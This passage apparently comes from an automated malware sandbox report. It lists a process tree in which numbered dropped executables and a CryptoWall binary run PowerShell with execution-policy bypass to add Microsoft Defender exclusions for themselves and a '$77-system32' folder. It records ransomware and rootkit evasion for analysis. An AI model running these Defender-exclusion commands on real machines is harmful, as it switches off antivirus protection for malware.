                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                4⤵
                  PID:2488
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                  4⤵
                    PID:6176
                • C:\Users\Admin\AppData\Local\Temp\19.exe
                  "C:\Users\Admin\AppData\Local\Temp\19.exe"
                  3⤵
                  • Drops startup file
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:636
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\19.exe'
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4104
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '19.exe'
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:6696
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:6288
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:4708
                • C:\Users\Admin\AppData\Local\Temp\18.exe
                  "C:\Users\Admin\AppData\Local\Temp\18.exe"
                  3⤵
                  • Drops startup file
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2804
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\18.exe'
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4888
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '18.exe'
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:5108
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:5428
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    PID:5908
                • C:\Users\Admin\AppData\Local\Temp\17.exe
                  "C:\Users\Admin\AppData\Local\Temp\17.exe"
                  3⤵
                  • Drops startup file
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2744
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\17.exe'
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4828
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '17.exe'
                    4⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:6960
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:6772
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                    4⤵
                      PID:6552
                  • C:\Users\Admin\AppData\Local\Temp\16.exe
                    "C:\Users\Admin\AppData\Local\Temp\16.exe"
                    3⤵
                    • Drops startup file
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2944
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\16.exe'
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4872
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '16.exe'
                      4⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:5040
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:6032
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      PID:5700
                  • C:\Users\Admin\AppData\Local\Temp\15.exe
                    "C:\Users\Admin\AppData\Local\Temp\15.exe"
                    3⤵
                    • Drops startup file
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1372
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\15.exe'
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4700
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '15.exe'
                      4⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:5452
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:7000
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      PID:6368
                  • C:\Users\Admin\AppData\Local\Temp\14.exe
                    "C:\Users\Admin\AppData\Local\Temp\14.exe"
                    3⤵
                    • Drops startup file
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2356
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\14.exe'
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4856
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '14.exe'
                      4⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4840
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                      4⤵
                        PID:1844
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:7068
                    • C:\Users\Admin\AppData\Local\Temp\13.exe
                      "C:\Users\Admin\AppData\Local\Temp\13.exe"
                      3⤵
                      • Drops startup file
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2144
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\13.exe'
                        4⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:5044
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '13.exe'
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        PID:6332
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:6532
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                        4⤵
                          PID:7080
                      • C:\Users\Admin\AppData\Local\Temp\12.exe
                        "C:\Users\Admin\AppData\Local\Temp\12.exe"
                        3⤵
                        • Drops startup file
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2220
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\12.exe'
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4728
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '12.exe'
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:6272
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                          4⤵
                            PID:6380
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                            4⤵
                            • Command and Scripting Interpreter: PowerShell
                            PID:7124
                        • C:\Users\Admin\AppData\Local\Temp\11.exe
                          "C:\Users\Admin\AppData\Local\Temp\11.exe"
                          3⤵
                          • Drops startup file
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1064
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\11.exe'
                            4⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4980
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '11.exe'
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4780
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:6716
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                            4⤵
                            • Command and Scripting Interpreter: PowerShell
                            PID:6576
                        • C:\Users\Admin\AppData\Local\Temp\10.exe
                          "C:\Users\Admin\AppData\Local\Temp\10.exe"
                          3⤵
                          • Drops startup file
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1940
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\10.exe'
                            4⤵
                            • Suspicious behavior: EnumeratesProcesses
                            PID:5104
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '10.exe'
                            4⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Suspicious behavior: EnumeratesProcesses
                            PID:6064
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                            4⤵
                            • Command and Scripting Interpreter: PowerShell
                            PID:4664
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                            4⤵
                              PID:4844
                          • C:\Users\Admin\AppData\Local\Temp\9.exe
                            "C:\Users\Admin\AppData\Local\Temp\9.exe"
                            3⤵
                            • Drops startup file
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1972
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\9.exe'
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4936
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '9.exe'
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              PID:6260
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                              4⤵
                                PID:4784
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                4⤵
                                  PID:6224
                              • C:\Users\Admin\AppData\Local\Temp\8.exe
                                "C:\Users\Admin\AppData\Local\Temp\8.exe"
                                3⤵
                                • Drops startup file
                                • Executes dropped EXE
                                PID:2096
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\8.exe'
                                  4⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:5016
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '8.exe'
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4688
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                  4⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  PID:6340
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                  4⤵
                                    PID:6584
                                • C:\Users\Admin\AppData\Local\Temp\7.exe
                                  "C:\Users\Admin\AppData\Local\Temp\7.exe"
                                  3⤵
                                  • Drops startup file
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1592
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7.exe'
                                    4⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:1716
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '7.exe'
                                    4⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4896
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                    4⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4424
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                    4⤵
                                      PID:6644
                                  • C:\Users\Admin\AppData\Local\Temp\6.exe
                                    "C:\Users\Admin\AppData\Local\Temp\6.exe"
                                    3⤵
                                    • Drops startup file
                                    • Executes dropped EXE
                                    PID:1960
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\6.exe'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:3636
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '6.exe'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:3240
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1676
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:6660
                                  • C:\Users\Admin\AppData\Local\Temp\5.exe
                                    "C:\Users\Admin\AppData\Local\Temp\5.exe"
                                    3⤵
                                    • Drops startup file
                                    • Executes dropped EXE
                                    PID:2552
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5.exe'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:3256
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '5.exe'
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1532
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                      4⤵
                                        PID:4852
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:5076
                                    • C:\Users\Admin\AppData\Local\Temp\4.exe
                                      "C:\Users\Admin\AppData\Local\Temp\4.exe"
                                      3⤵
                                      • Drops startup file
                                      • Executes dropped EXE
                                      PID:2920
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\4.exe'
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4788
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '4.exe'
                                        4⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:6300
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:1228
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:4560
                                    • C:\Users\Admin\AppData\Local\Temp\3.exe
                                      "C:\Users\Admin\AppData\Local\Temp\3.exe"
                                      3⤵
                                      • Drops startup file
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2716
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\3.exe'
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:5084
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '3.exe'
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:3148
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:7016
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:5560
                                    • C:\Users\Admin\AppData\Local\Temp\2.exe
                                      "C:\Users\Admin\AppData\Local\Temp\2.exe"
                                      3⤵
                                      • Drops startup file
                                      • Executes dropped EXE
                                      PID:2148
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2.exe'
                                        4⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:3084
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '2.exe'
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:6320
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                        4⤵
                                          PID:4564
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                          4⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          PID:5996
                                      • C:\Users\Admin\AppData\Local\Temp\1.exe
                                        "C:\Users\Admin\AppData\Local\Temp\1.exe"
                                        3⤵
                                        • Drops startup file
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:652
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1.exe'
                                          4⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:408
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1.exe'
                                          4⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:5384
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
                                          4⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:6744
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
                                          4⤵
                                            PID:6356
                                      • C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe
                                        "C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe"
                                        2⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: MapViewOfSection
                                        • Suspicious use of WriteProcessMemory
                                        PID:2564
